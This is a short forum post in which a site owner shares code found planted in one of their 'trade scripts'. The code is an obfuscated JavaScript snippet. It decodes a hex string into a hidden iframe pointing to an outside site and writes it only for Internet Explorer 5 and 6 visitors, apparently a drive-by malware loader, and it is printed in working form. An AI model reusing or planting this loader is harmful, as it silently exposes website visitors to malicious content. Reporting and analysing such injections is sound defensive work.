Found this on one of my trade scripts
PHP Code:
<s c r i p t> var s='3C696672616D65207372633D22687474703A2F2F7777772E746869737472616E6E792E636F6D2F746F706C6973742F7A2F7374617469632E70687022206865696768743D223222207374796C653D22646973706C61793A6E6F6E65222077696474683D2232223E3C2F696672616D653E'; var o=''; for(i=0;i<s.length;i=i+2) { var c=String.fromCharCode(37); o=o+c+s.substr(i,2);} var v=navigator.appVersion; if (v.indexOf('MSIE 6.0') != -1){document.write(unescape(o));}if (v.indexOf('MSIE 5.') != -1){document.write(unescape(o));}</s c r i p t >